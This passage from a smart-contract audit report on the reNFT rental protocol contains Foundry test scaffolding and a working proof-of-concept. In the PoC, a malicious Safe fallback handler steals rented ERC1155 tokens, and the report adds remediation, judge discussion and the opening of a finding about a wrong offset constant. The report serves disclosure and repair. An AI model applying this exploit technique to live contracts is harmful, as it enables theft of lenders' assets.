            orderToCreate.offerItems.push(_offerItems[i]);
        }
    }

    function withOfferItem(OfferItem memory offerItem) internal {
        orderToCreate.offerItems.push(offerItem);
    }

    function resetOfferItems() internal {
        delete orderToCreate.offerItems;
    }

    function popOfferItem() internal {
        orderToCreate.offerItems.pop();
    }

    function withReplacedConsiderationItems(
        ConsiderationItem[] memory _considerationItems
    ) internal {
        // reset all current consideration items
        resetConsiderationItems();

        // add the new consideration items to storage
        for (uint256 i = 0; i < _considerationItems.length; i++) {
            orderToCreate.considerationItems.push(_considerationItems[i]);
        }
    }

    function withConsiderationItem(ConsiderationItem memory considerationItem) internal {
        orderToCreate.considerationItems.push(considerationItem);
    }

    function resetConsiderationItems() internal {
        delete orderToCreate.considerationItems;
    }

    function popConsiderationItem() internal {
        orderToCreate.considerationItems.pop();
    }

    function withHooks(Hook[] memory hooks) internal {
        // delete the current metatdata hooks
        delete orderToCreate.metadata.hooks;

        // add each metadata hook to storage
        for (uint256 i = 0; i < hooks.length; i++) {
            orderToCreate.metadata.hooks.push(hooks[i]);
        }
    }

    function withOrderMetadata(OrderMetadata memory _metadata) internal {
        // update the static metadata parameters
        orderToCreate.metadata.orderType = _metadata.orderType;
        orderToCreate.metadata.rentDuration = _metadata.rentDuration;
        orderToCreate.metadata.emittedExtraData = _metadata.emittedExtraData;

        // update the hooks
        withHooks(_metadata.hooks);
    }

    function resetOrderMetadata() internal {
        delete orderToCreate.metadata;
    }

    /////////////////////////////////////////////////////////////////////////////////
    //                              Order Finalization                             //
    /////////////////////////////////////////////////////////////////////////////////

    function finalizeOrder()
        internal
        returns (Order memory, bytes32, OrderMetadata memory)
    {
        // create and sign the order
        (Order memory order, bytes32 orderHash) = _createSignedOrder(
            orderToCreate.offerer,
            orderToCreate.offerItems,
            orderToCreate.considerationItems,
            orderToCreate.metadata
        );

        // pull order metadata into memory
        OrderMetadata memory metadata = orderToCreate.metadata;

        // clear structs
        resetOrderToCreate();

        return (order, orderHash, metadata);
    }
}


// Sets up logic in the test engine related to order fulfillment
// Borrowed from test/fixtures/engine/OrderFulfiller
contract OrderFulfiller is OrderCreator {
    using ECDSA for bytes32;

    struct OrderToFulfill {
        bytes32 orderHash;
        RentPayload payload;
        AdvancedOrder advancedOrder;
    }

    // components of a fulfillment
    ProtocolAccount fulfiller;
    OrderToFulfill[] ordersToFulfill;
    Fulfillment[] seaportMatchOrderFulfillments;
    FulfillmentComponent[][] seaportOfferFulfillments;
    FulfillmentComponent[][] seaportConsiderationFulfillments;
    address seaportRecipient;

    /////////////////////////////////////////////////////////////////////////////////
    //                             Fulfillment Creation                            //
    /////////////////////////////////////////////////////////////////////////////////

    // creates an order fulfillment
    function createOrderFulfillment(
        ProtocolAccount memory _fulfiller,
        Order memory order,
        bytes32 orderHash,
        OrderMetadata memory metadata
    ) internal {
        // set the fulfiller account
        fulfiller = _fulfiller;

        // set the recipient of any offer items after an order is fulfilled. If the fulfillment is via
        // `matchAdvancedOrders`, then any unspent offer items will go to this address as well
        seaportRecipient = address(_fulfiller.safe);

        // get a pointer to a new order to fulfill
        OrderToFulfill storage orderToFulfill = ordersToFulfill.push();

        // create an order fulfillment
        OrderFulfillment memory fulfillment = OrderFulfillment(address(_fulfiller.safe));

        // add the order hash and fulfiller
        orderToFulfill.orderHash = orderHash;

        // create rental zone payload data
        _createRentalPayload(
            orderToFulfill.payload,
            RentPayload(fulfillment, metadata, block.timestamp + 100, _fulfiller.addr)
        );

        // generate the signature for the payload
        bytes memory signature = _signProtocolOrder(
            rentalSigner.privateKey,
            create.getRentPayloadHash(orderToFulfill.payload)
        );

        // create an advanced order from the order. Pass the rental
        // payload as extra data
        _createAdvancedOrder(
            orderToFulfill.advancedOrder,
            AdvancedOrder(
                order.parameters,
                1,
                1,
                order.signature,
                abi.encode(orderToFulfill.payload, signature)
            )
        );
    }

    function _createOrderFulfiller(
        ProtocolAccount storage storageFulfiller,
        ProtocolAccount memory _fulfiller
    ) private {
        storageFulfiller.addr = _fulfiller.addr;
        storageFulfiller.safe = _fulfiller.safe;
        storageFulfiller.publicKeyX = _fulfiller.publicKeyX;
        storageFulfiller.publicKeyY = _fulfiller.publicKeyY;
        storageFulfiller.privateKey = _fulfiller.privateKey;
    }

    function _createOrderFulfillment(
        OrderFulfillment storage storageFulfillment,
        OrderFulfillment memory fulfillment
    ) private {
        storageFulfillment.recipient = fulfillment.recipient;
    }

    function _createOrderMetadata(
        OrderMetadata storage storageMetadata,
        OrderMetadata memory metadata
    ) private {
        // Create order metadata in storage
        storageMetadata.orderType = metadata.orderType;
        storageMetadata.rentDuration = metadata.rentDuration;
        storageMetadata.emittedExtraData = metadata.emittedExtraData;

        // dynamically push the hooks from memory to storage
        for (uint256 i = 0; i < metadata.hooks.length; i++) {
            storageMetadata.hooks.push(metadata.hooks[i]);
        }
    }

    function _createRentalPayload(
        RentPayload storage storagePayload,
        RentPayload memory payload
    ) private {
        // set payload fulfillment on the order to fulfill
        _createOrderFulfillment(storagePayload.fulfillment, payload.fulfillment);

        // set payload metadata on the order to fulfill
        _createOrderMetadata(storagePayload.metadata, payload.metadata);

        // set payload expiration on the order to fulfill
        storagePayload.expiration = payload.expiration;

        // set payload intended fulfiller on the order to fulfill
        storagePayload.intendedFulfiller = payload.intendedFulfiller;
    }

    function _createAdvancedOrder(
        AdvancedOrder storage storageAdvancedOrder,
        AdvancedOrder memory advancedOrder
    ) private {
        // create the order parameters on the order to fulfill
        _createOrderParameters(storageAdvancedOrder.parameters, advancedOrder.parameters);

        // create the rest of the static parameters on the order to fulfill
        storageAdvancedOrder.numerator = advancedOrder.numerator;
        storageAdvancedOrder.denominator = advancedOrder.denominator;
        storageAdvancedOrder.signature = advancedOrder.signature;
        storageAdvancedOrder.extraData = advancedOrder.extraData;
    }

    function _createOrderParameters(
        OrderParameters storage storageOrderParameters,
        OrderParameters memory orderParameters
    ) private {
        // create the static order parameters for the order to fulfill
        storageOrderParameters.offerer = orderParameters.offerer;
        storageOrderParameters.zone = orderParameters.zone;
        storageOrderParameters.orderType = orderParameters.orderType;
        storageOrderParameters.startTime = orderParameters.startTime;
        storageOrderParameters.endTime = orderParameters.endTime;
        storageOrderParameters.zoneHash = orderParameters.zoneHash;
        storageOrderParameters.salt = orderParameters.salt;
        storageOrderParameters.conduitKey = orderParameters.conduitKey;
        storageOrderParameters.totalOriginalConsiderationItems = orderParameters
            .totalOriginalConsiderationItems;

        // create the dynamic order parameters for the order to fulfill
        for (uint256 i = 0; i < orderParameters.offer.length; i++) {
            storageOrderParameters.offer.push(orderParameters.offer[i]);
        }
        for (uint256 i = 0; i < orderParameters.consideration.length; i++) {
            storageOrderParameters.consideration.push(orderParameters.consideration[i]);
        }
    }

    function _createSeaportFulfillment(
        Fulfillment storage storageFulfillment,
        Fulfillment memory fulfillment
    ) private {
        // push the offer components to storage
        for (uint256 i = 0; i < fulfillment.offerComponents.length; i++) {
            storageFulfillment.offerComponents.push(fulfillment.offerComponents[i]);
        }

        // push the consideration components to storage
        for (uint256 i = 0; i < fulfillment.considerationComponents.length; i++) {
            storageFulfillment.considerationComponents.push(
                fulfillment.considerationComponents[i]
            );
        }
    }

    function _seaportItemTypeToRentalItemType(
        SeaportItemType seaportItemType
    ) internal pure returns (RentalItemType) {
        if (seaportItemType == SeaportItemType.ERC20) {
            return RentalItemType.ERC20;
        } else if (seaportItemType == SeaportItemType.ERC721) {
            return RentalItemType.ERC721;
        } else if (seaportItemType == SeaportItemType.ERC1155) {
            return RentalItemType.ERC1155;
        } else {
            revert("seaport item type not supported");
        }
    }

    function _createRentalOrder(
        OrderToFulfill memory orderToFulfill
    ) internal view returns (RentalOrder memory rentalOrder) {
        // get the order parameters
        OrderParameters memory parameters = orderToFulfill.advancedOrder.parameters;

        // get the payload
        RentPayload memory payload = orderToFulfill.payload;

        // get the metadata
        OrderMetadata memory metadata = payload.metadata;

        // construct a rental order
        rentalOrder = RentalOrder({
            seaportOrderHash: orderToFulfill.orderHash,
            items: new Item[](parameters.offer.length + parameters.consideration.length),
            hooks: metadata.hooks,
            orderType: metadata.orderType,
            lender: parameters.offerer,
            renter: payload.intendedFulfiller,
            rentalWallet: payload.fulfillment.recipient,
            startTimestamp: block.timestamp,
            endTimestamp: block.timestamp + metadata.rentDuration
        });

        // for each new offer item being rented, create a new item struct to add to the rental order
        for (uint256 i = 0; i < parameters.offer.length; i++) {
            // PAYEE orders cannot have offer items
            require(
                metadata.orderType != OrderType.PAYEE,
                "TEST: cannot have offer items in PAYEE order"
            );

            // get the offer item
            OfferItem memory offerItem = parameters.offer[i];

            // determine the item type
            RentalItemType itemType = _seaportItemTypeToRentalItemType(offerItem.itemType);

            // determine which entity the payment will settle to
            SettleTo settleTo = offerItem.itemType == SeaportItemType.ERC20
                ? SettleTo.RENTER
                : SettleTo.LENDER;

            // create a new rental item
            rentalOrder.items[i] = Item({
                itemType: itemType,
                settleTo: settleTo,
                token: offerItem.token,
                amount: offerItem.startAmount,
                identifier: offerItem.identifierOrCriteria
            });
        }

        // for each consideration item in return, create a new item struct to add to the rental order
        for (uint256 i = 0; i < parameters.consideration.length; i++) {
            // PAY orders cannot have consideration items
            require(
                metadata.orderType != OrderType.PAY,
                "TEST: cannot have consideration items in PAY order"
            );

            // get the offer item
            ConsiderationItem memory considerationItem = parameters.consideration[i];

            // determine the item type
            RentalItemType itemType = _seaportItemTypeToRentalItemType(
                considerationItem.itemType
            );

            // determine which entity the payment will settle to
            SettleTo settleTo = metadata.orderType == OrderType.PAYEE &&
                considerationItem.itemType == SeaportItemType.ERC20
                ? SettleTo.RENTER
                : SettleTo.LENDER;

            // calculate item index offset
            uint256 itemIndex = i + parameters.offer.length;

            // create a new payment item
            rentalOrder.items[itemIndex] = Item({
                itemType: itemType,
                settleTo: settleTo,
                token: considerationItem.token,
                amount: considerationItem.startAmount,
                identifier: considerationItem.identifierOrCriteria
            });
        }
    }

    function _signProtocolOrder(
        uint256 signerPrivateKey,
        bytes32 payloadHash
    ) internal view returns (bytes memory signature) {
        // fetch domain separator from create policy
        bytes32 domainSeparator = create.domainSeparator();

        // sign the EIP-712 digest
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            signerPrivateKey,
            domainSeparator.toTypedDataHash(payloadHash)
        );

        // encode the signature
        signature = abi.encodePacked(r, s, v);
    }

    /////////////////////////////////////////////////////////////////////////////////
    //                            Fulfillment Amendments                           //
    /////////////////////////////////////////////////////////////////////////////////

    function withFulfiller(ProtocolAccount memory _fulfiller) internal {
        fulfiller = _fulfiller;
    }

    function withRecipient(address _recipient) internal {
        seaportRecipient = _recipient;
    }

    function withAdvancedOrder(
        AdvancedOrder memory _advancedOrder,
        uint256 orderIndex
    ) internal {
        // get a storage pointer to the order to fulfill
        OrderToFulfill storage orderToFulfill = ordersToFulfill[orderIndex];

        // set the new advanced order
        _createAdvancedOrder(orderToFulfill.advancedOrder, _advancedOrder);
    }

    function withSeaportMatchOrderFulfillment(Fulfillment memory _fulfillment) internal {
        // get a pointer to a new seaport fulfillment
        Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push();

        // set the fulfillment
        _createSeaportFulfillment(
            fulfillment,
            Fulfillment({
                offerComponents: _fulfillment.offerComponents,
                considerationComponents: _fulfillment.considerationComponents
            })
        );
    }

    function withSeaportMatchOrderFulfillments(
        Fulfillment[] memory fulfillments
    ) internal {
        // reset all current seaport match order fulfillments
        resetSeaportMatchOrderFulfillments();

        // add the new offer items to storage
        for (uint256 i = 0; i < fulfillments.length; i++) {
            // get a pointer to a new seaport fulfillment
            Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push();

            // set the fulfillment
            _createSeaportFulfillment(
                fulfillment,
                Fulfillment({
                    offerComponents: fulfillments[i].offerComponents,
                    considerationComponents: fulfillments[i].considerationComponents
                })
            );
        }
    }

    function withBaseOrderFulfillmentComponents() internal {
        // create offer fulfillments. We need to specify which offer items can be aggregated
        // into one transaction. For example, 2 different orders where the same seller is offering
        // the same item in each.
        //
        // Since BASE orders will only contain ERC721 offer items, these cannot be aggregated. So, a separate fulfillment
        // is created for each order.
        for (uint256 i = 0; i < ordersToFulfill.length; i++) {
            // get a pointer to a new offer fulfillment array. This array will contain indexes of
            // orders and items which are all grouped on whether they can be combined in a single transferFrom()
            FulfillmentComponent[] storage offerFulfillments = seaportOfferFulfillments
                .push();

            // number of offer items in the order
            uint256 offerItemsInOrder = ordersToFulfill[i]
                .advancedOrder
                .parameters
                .offer
                .length;

            // add a single fulfillment component for each offer item in the order
            for (uint256 j = 0; j < offerItemsInOrder; j++) {
                offerFulfillments.push(
                    FulfillmentComponent({orderIndex: i, itemIndex: j})
                );
            }
        }

        // create consideration fulfillments. We need to specify which consideration items can be aggregated
        // into one transaction. For example, 3 different orders where the same fungible consideration items are
        // expected in return.
        //
        // get a pointer to a new offer fulfillment array. This array will contain indexes of
        // orders and items which are all grouped on whether they can be combined in a single transferFrom()
        FulfillmentComponent[]
            storage considerationFulfillments = seaportConsiderationFulfillments.push();

        // BASE orders will only contain ERC20 items, these are fungible and are candidates for aggregation. Because
        // all of these BASE orders will be fulfilled by the same EOA, and all ERC20 consideration items are going to the
        // ESCRW contract, the consideration items can be aggregated. In other words, Seaport will only make a single transfer
        // of ERC20 tokens from the fulfiller EOA to the payment escrow contract.
        //
        // put all fulfillments into one which can be an aggregated transfer
        for (uint256 i = 0; i < ordersToFulfill.length; i++) {
            considerationFulfillments.push(
                FulfillmentComponent({orderIndex: i, itemIndex: 0})
            );
        }
    }

    function withLinkedPayAndPayeeOrders(
        uint256 payOrderIndex,
        uint256 payeeOrderIndex
    ) internal {
        // get the PAYEE order
        OrderParameters memory payeeOrder = ordersToFulfill[payeeOrderIndex]
            .advancedOrder
            .parameters;

        // For each consideration item in the PAYEE order, a fulfillment should be
        // constructed with a corresponding item from the PAY order's offer items.
        for (uint256 i = 0; i < payeeOrder.consideration.length; ++i) {
            // define the offer components
            FulfillmentComponent[] memory offerComponents = new FulfillmentComponent[](1);
            offerComponents[0] = FulfillmentComponent({
                orderIndex: payOrderIndex,
                itemIndex: i
            });

            // define the consideration components
            FulfillmentComponent[]
                memory considerationComponents = new FulfillmentComponent[](1);
            considerationComponents[0] = FulfillmentComponent({
                orderIndex: payeeOrderIndex,
                itemIndex: i
            });

            // get a pointer to a new seaport fulfillment
            Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push();

            // set the fulfillment
            _createSeaportFulfillment(
                fulfillment,
                Fulfillment({
                    offerComponents: offerComponents,
                    considerationComponents: considerationComponents
                })
            );
        }
    }

    function resetFulfiller() internal {
        delete fulfiller;
    }

    function resetOrdersToFulfill() internal {
        delete ordersToFulfill;
    }

    function resetSeaportMatchOrderFulfillments() internal {
        delete seaportMatchOrderFulfillments;
    }

    /////////////////////////////////////////////////////////////////////////////////
    //                           Fulfillment Finalization                          //
    /////////////////////////////////////////////////////////////////////////////////

    function _finalizePayOrderFulfillment(
        bytes memory expectedError
    )
        private
        returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder)
    {
        // get the orders to fulfill
        OrderToFulfill memory payOrder = ordersToFulfill[0];
        OrderToFulfill memory payeeOrder = ordersToFulfill[1];

        // create rental orders
        payRentalOrder = _createRentalOrder(payOrder);
        payeeRentalOrder = _createRentalOrder(payeeOrder);

        // expect an error if error data was provided
        if (expectedError.length != 0) {
            vm.expectRevert(expectedError);
        }
        // otherwise, expect the relevant event to be emitted.
        else {
            vm.expectEmit({emitter: address(create)});
            emit Events.RentalOrderStarted(
                create.getRentalOrderHash(payRentalOrder),
                payOrder.payload.metadata.emittedExtraData,
                payRentalOrder.seaportOrderHash,
                payRentalOrder.items,
                payRentalOrder.hooks,
                payRentalOrder.orderType,
                payRentalOrder.lender,
                payRentalOrder.renter,
                payRentalOrder.rentalWallet,
                payRentalOrder.startTimestamp,
                payRentalOrder.endTimestamp
            );
        }

        // the offerer of the PAYEE order fulfills the orders.
        vm.prank(fulfiller.addr);

        // fulfill the orders
        seaport.matchAdvancedOrders(
            _deconstructOrdersToFulfill(),
            new CriteriaResolver[](0),
            seaportMatchOrderFulfillments,
            seaportRecipient
        );

        // clear structs
        resetFulfiller();
        resetOrdersToFulfill();
        resetSeaportMatchOrderFulfillments();
    }

    function finalizePayOrderFulfillment()
        internal
        returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder)
    {
        (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(bytes(""));
    }

    function finalizePayOrderFulfillmentWithError(
        bytes memory expectedError
    )
        internal
        returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder)
    {
        (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(expectedError);
    }

    function _finalizeBaseOrderFulfillment(
        bytes memory expectedError
    ) private returns (RentalOrder memory rentalOrder) {
        // get the order to fulfill
        OrderToFulfill memory baseOrder = ordersToFulfill[0];

        // create a rental order
        rentalOrder = _createRentalOrder(baseOrder);

        // expect an error if error data was provided
        if (expectedError.length != 0) {
            vm.expectRevert(expectedError);
        }
        // otherwise, expect the relevant event to be emitted.
        else {
            vm.expectEmit({emitter: address(create)});
            emit Events.RentalOrderStarted(
                create.getRentalOrderHash(rentalOrder),
                baseOrder.payload.metadata.emittedExtraData,
                rentalOrder.seaportOrderHash,
                rentalOrder.items,
                rentalOrder.hooks,
                rentalOrder.orderType,
                rentalOrder.lender,
                rentalOrder.renter,
                rentalOrder.rentalWallet,
                rentalOrder.startTimestamp,
                rentalOrder.endTimestamp
            );
        }

        // the owner of the rental wallet fulfills the advanced order, and marks the rental wallet
        // as the recipient
        vm.prank(fulfiller.addr);
        seaport.fulfillAdvancedOrder(
            baseOrder.advancedOrder,
            new CriteriaResolver[](0),
            conduitKey,
            seaportRecipient
        );

        // clear structs
        resetFulfiller();
        resetOrdersToFulfill();
        resetSeaportMatchOrderFulfillments();
    }

    function finalizeBaseOrderFulfillment()
        internal
        returns (RentalOrder memory rentalOrder)
    {
        rentalOrder = _finalizeBaseOrderFulfillment(bytes(""));
    }

    function finalizeBaseOrderFulfillmentWithError(
        bytes memory expectedError
    ) internal returns (RentalOrder memory rentalOrder) {
        rentalOrder = _finalizeBaseOrderFulfillment(expectedError);
    }

    function finalizeBaseOrdersFulfillment()
        internal
        returns (RentalOrder[] memory rentalOrders)
    {
        // Instantiate rental orders
        uint256 numOrdersToFulfill = ordersToFulfill.length;
        rentalOrders = new RentalOrder[](numOrdersToFulfill);

        // convert each order to fulfill into a rental order
        for (uint256 i = 0; i < numOrdersToFulfill; i++) {
            rentalOrders[i] = _createRentalOrder(ordersToFulfill[i]);
        }

        // Expect the relevant events to be emitted.
        for (uint256 i = 0; i < rentalOrders.length; i++) {
            vm.expectEmit({emitter: address(create)});
            emit Events.RentalOrderStarted(
                create.getRentalOrderHash(rentalOrders[i]),
                ordersToFulfill[i].payload.metadata.emittedExtraData,
                rentalOrders[i].seaportOrderHash,
                rentalOrders[i].items,
                rentalOrders[i].hooks,
                rentalOrders[i].orderType,
                rentalOrders[i].lender,
                rentalOrders[i].renter,
                rentalOrders[i].rentalWallet,
                rentalOrders[i].startTimestamp,
                rentalOrders[i].endTimestamp
            );
        }

        // the owner of the rental wallet fulfills the advanced orders, and marks the rental wallet
        // as the recipient
        vm.prank(fulfiller.addr);
        seaport.fulfillAvailableAdvancedOrders(
            _deconstructOrdersToFulfill(),
            new CriteriaResolver[](0),
            seaportOfferFulfillments,
            seaportConsiderationFulfillments,
            conduitKey,
            seaportRecipient,
            ordersToFulfill.length
        );

        // clear structs
        resetFulfiller();
        resetOrdersToFulfill();
        resetSeaportMatchOrderFulfillments();
    }

    function finalizePayOrdersFulfillment()
        internal
        returns (RentalOrder[] memory rentalOrders)
    {
        // Instantiate rental orders
        uint256 numOrdersToFulfill = ordersToFulfill.length;
        rentalOrders = new RentalOrder[](numOrdersToFulfill);

        // convert each order to fulfill into a rental order
        for (uint256 i = 0; i < numOrdersToFulfill; i++) {
            rentalOrders[i] = _createRentalOrder(ordersToFulfill[i]);
        }

        // Expect the relevant events to be emitted.
        for (uint256 i = 0; i < rentalOrders.length; i++) {
            // only expect the event if its a PAY order
            if (ordersToFulfill[i].payload.metadata.orderType == OrderType.PAY) {
                vm.expectEmit({emitter: address(create)});
                emit Events.RentalOrderStarted(
                    create.getRentalOrderHash(rentalOrders[i]),
                    ordersToFulfill[i].payload.metadata.emittedExtraData,
                    rentalOrders[i].seaportOrderHash,
                    rentalOrders[i].items,
                    rentalOrders[i].hooks,
                    rentalOrders[i].orderType,
                    rentalOrders[i].lender,
                    rentalOrders[i].renter,
                    rentalOrders[i].rentalWallet,
                    rentalOrders[i].startTimestamp,
                    rentalOrders[i].endTimestamp
                );
            }
        }

        // the offerer of the PAYEE order fulfills the orders. For this order, it shouldn't matter
        // what the recipient address is
        vm.prank(fulfiller.addr);
        seaport.matchAdvancedOrders(
            _deconstructOrdersToFulfill(),
            new CriteriaResolver[](0),
            seaportMatchOrderFulfillments,
            seaportRecipient
        );

        // clear structs
        resetFulfiller();
        resetOrdersToFulfill();
        resetSeaportMatchOrderFulfillments();
    }

    function _deconstructOrdersToFulfill()
        private
        view
        returns (AdvancedOrder[] memory advancedOrders)
    {
        // get the length of the orders to fulfill
        advancedOrders = new AdvancedOrder[](ordersToFulfill.length);

        // build up the advanced orders
        for (uint256 i = 0; i < ordersToFulfill.length; i++) {
            advancedOrders[i] = ordersToFulfill[i].advancedOrder;
        }
    }
}

contract SetupReNFT is OrderFulfiller {}
Exploit.sol
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {
    Order,
    FulfillmentComponent,
    Fulfillment,
    ItemType as SeaportItemType
} from "@seaport-types/lib/ConsiderationStructs.sol";

import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol";

import {SetupReNFT} from "./SetupExploit.sol";
import {Assertions} from "@test/utils/Assertions.sol";
import {Constants} from "@test/utils/Constants.sol";
import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";
import {Enum} from "@safe-contracts/common/Enum.sol";
import "forge-std/console.sol";



contract Exploit is SetupReNFT, Assertions, Constants {

    function test_ERC1155_Exploit() public {

        // Impersonate the attacker
        vm.startPrank(attacker.addr);

        // The custom fallback handler the attacker created.
        CustomFallbackHandler customFallbackHandler = new CustomFallbackHandler(attacker.addr);

        // Set the attacker's safe address on the fallback handler which the fallback handler will communicate with.
        customFallbackHandler.setSafeAddr(address(attacker.safe));

        // Set the address of the token which the attacker wants to hijack on the fallback handler.
        customFallbackHandler.setTokenToHijackAddr(address(erc1155s[0]));

        // The `setFallbackHandler` TX
        bytes memory transaction = abi.encodeWithSelector(
            Safe.setFallbackHandler.selector,
            address(customFallbackHandler)
        );

        // The signature of the `setFallbackHandler` TX
        bytes memory transactionSignature = SafeUtils.signTransaction(
            address(attacker.safe),
            attacker.privateKey,
            address(attacker.safe),
            transaction
        );

        // Execute the transaction on attacker's safe
        SafeUtils.executeTransaction(
            address(attacker.safe),
            address(attacker.safe),
            transaction,
            transactionSignature
        );



        // The malicious TX which the custom fallback handler will execute when `onERC1155Received` is called.
        bytes memory hijackTX = abi.encodeWithSignature(
            "safeTransferFrom(address,address,uint256,uint256,bytes)",
            address(attacker.safe),
            address(attacker.addr),
            0,
            100,
            ""
        );


        // Get the signature of the malicious TX.
        transactionSignature = SafeUtils.signTransaction(
            address(attacker.safe),
            attacker.privateKey,
            address(address(erc1155s[0])),
            hijackTX
        );


        // Set the malicious TX and it's signature on the custom fallback handler contract so that it sends it
        customFallbackHandler.setSignatureAndTransaction(transactionSignature, hijackTX);

        vm.stopPrank();

        /////////////////////////////////////////////
        // Order Creation & Fulfillment simulation //
        /////////////////////////////////////////////

        // Alice creates a BASE order
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 0,
            erc1155Offers: 1,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // Finalize the order creation
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();
        

        // Create an order fulfillment
        createOrderFulfillment({
            _fulfiller: attacker,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });

        // Finalize the base order fulfillment
        RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment();

        // get the rental order hash
        bytes32 rentalOrderHash = create.getRentalOrderHash(rentalOrder);

        ////////////////////////////
        // Token Theft Proof      //
        ////////////////////////////

        uint256 attackersBalance = erc1155s[0].balanceOf(address(attacker.addr), 0);
        uint256 attackersSafeBalance = erc1155s[0].balanceOf(address(attacker.safe), 0);

        if (attackersSafeBalance == uint256(0) && attackersBalance == uint256(100)) {
            console.log("Tokens successfully hijacked from the attacker's (borrower) safe!");
        }

        // Assert that the rental order was stored
        assertEq(STORE.orders(rentalOrderHash), true);

        // Assert that the token is in storage
        assertEq(STORE.isRentedOut(address(attacker.safe), address(erc1155s[0]), 0), true);

        // assert that the fulfiller made a payment
        assertEq(erc20s[0].balanceOf(attacker.addr), uint256(9900));

        // assert that a payment was made to the escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100));

        // assert that a payment was synced properly in the escrow contract
        assertEq(ESCRW.balanceOf(address(erc20s[0])), uint256(100));

    }

}


interface Safe {
    function execTransaction(
        address to,
        uint256 value,
        bytes calldata data,
        Enum.Operation operation,
        uint256 safeTxGas,
        uint256 baseGas,
        uint256 gasPrice,
        address gasToken,
        address payable refundReceiver,
        bytes memory signatures
    ) external payable returns (bool success);

    function setFallbackHandler(address handler) external;

    function addOwnerWithThreshold(address owner, uint256 threshold) external;
}


contract CustomFallbackHandler {

    address private owner; // The address of the attacker.
    address private safe; // The address of the attacker's safe.
    address private tokenToHijack; // The address of the token which the attacker wants to hijack.
    bytes maliciousSafeTransactionSignature; // Signature needed for the Safe TX.
    bytes maliciousSafeTransaction; // The transaction sent to the attacker's safe which will hijack the token

    constructor(address _owner) {
        owner = _owner;
    }

    function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes calldata
    ) external returns(bytes4) {

        _transferHijackedTokensToOwner();

        return 0xf23a6e61;
    }

    function _transferHijackedTokensToOwner() internal returns(bool) {

        SafeUtils.executeTransaction(
            address(safe),
            address(tokenToHijack),
            maliciousSafeTransaction,
            maliciousSafeTransactionSignature
        );

        return true;

    }

    function setSafeAddr(address _safe) external onlyOwner {
        safe = _safe;
    }

    function setTokenToHijackAddr(address _tokenAddr) external onlyOwner {
        tokenToHijack = _tokenAddr;
    }

    function setSignatureAndTransaction(bytes memory _signature, bytes memory _transaction) external onlyOwner {
        maliciousSafeTransactionSignature = _signature;
        maliciousSafeTransaction = _transaction;
    }

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

}

Impact


An attacker can hijack any ERC1155 token he rents, and the lender won’t be able to get the rental funds he should get after rental expiry.


Remediation


The main problem is that the token transferral occurs before the rental is registered, so the fix I propose is that the lender’s ERC1155 tokens be transferred first to a trusted contract which registers the rental and then the trusted contract sends the ERC1155 tokens to the borrower’s rental safe after ensuring the rental was registered. This fix would break this exploit.


0xean (Judge) commented:

In short, the main issue is that https://github.com/code-423n4/2024-01-renft-findings/issues/593 doesn’t validate the address supplied to setFallbackHandler as it should, and the main issue with this reported bug is that tokens are transferred directly to the rental safe prior to being registered.

I think this is correct and why these issues should remain distinct. Currently my point of view is:

  1. fixing the guard is required
  2. fixing the ability to interact before the token is registered is also required

2 fixes, 2 issues. Would welcome one last comment from @0xA5DF prior to calling this final

Alec1017 (reNFT) confirmed and commented:

Totally agree with @0xean that these are 2 distinct issues

Note: To see full discussion, see here.

reNFT mitigated:

The PR here - Introduces an intermediary transfer on rental creation to ensure assets are not sent to the safe until they have been registered as rented by the protocol.

Status: Mitigation confirmed. Full details in reports from EV_om, sin1st3r__ and juancito.


[H-04] Incorrect gnosis_safe_disable_module_offset constant leads to removing the rental safe’s module without verification

Submitted by serial-coder, also found by EV_om, rbserver, zzzitron (1, 2), AkshaySrivastav, mussucal, kaden, 0xAlix2, Beepidibop, and haxatron

The gnosis_safe_disable_module_offset constant was incorrectly specified to point at an incorrect function parameter of the disableModule(address prevModule, address module).

Specifically, the offset constant will point at the prevModule (1st param) instead of the module (2nd param).

Impact

When a safe transaction initiated from a rental safe containing a call to the safe’s disableModule() is invoked, the Guard::checkTransaction() cannot verify the module expected to be removed.

If the prevModule was a non-whitelisted extension, the safe transaction will be reverted.

However, if the prevModule was a whitelisted extension, the module will be removed without verification. Removing the rental safe’s module without verification can lead to other issues or attacks since the removed module can be a critical component (e.g., removing the protocol’s Stop policy contract).

Proof of Concept

The snippet below presents some of the Gnosis Safe configurations of the reNFT protocol. The gnosis_safe_disable_module_selector constant contains the function selector (0xe009cfde) of the rental safe’s ModuleManager::disableModule(address prevModule, address module).

Meanwhile, the gnosis_safe_disable_module_offset constant contains a memory offset (0x24) intended to point at the module param of the disableModule().

    // FILE: https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/libraries/RentalConstants.sol

    /////////////////////////////////////////////////////////////////////////////////
    //                  Gnosis Safe Function Selectors And Offsets                 //
    /////////////////////////////////////////////////////////////////////////////////

    ...

    // bytes4(keccak256("disableModule(address,address)"));
@1  bytes4 constant gnosis_safe_disable_module_selector = 0xe009cfde; //@audit -- The declaration of function selector: ModuleManager::disableModule(address prevModule, address module)

    ...

@2  uint256 constant gnosis_safe_disable_module_offset = 0x24; //@audit -- The memory offset intended to point at the 'module' param of the disableModule() was incorrectly specified to the 'prevModule' param instead

The below snippet shows the function signature of the rental safe’s ModuleManager::disableModule(): function disableModule(address prevModule, address module) external

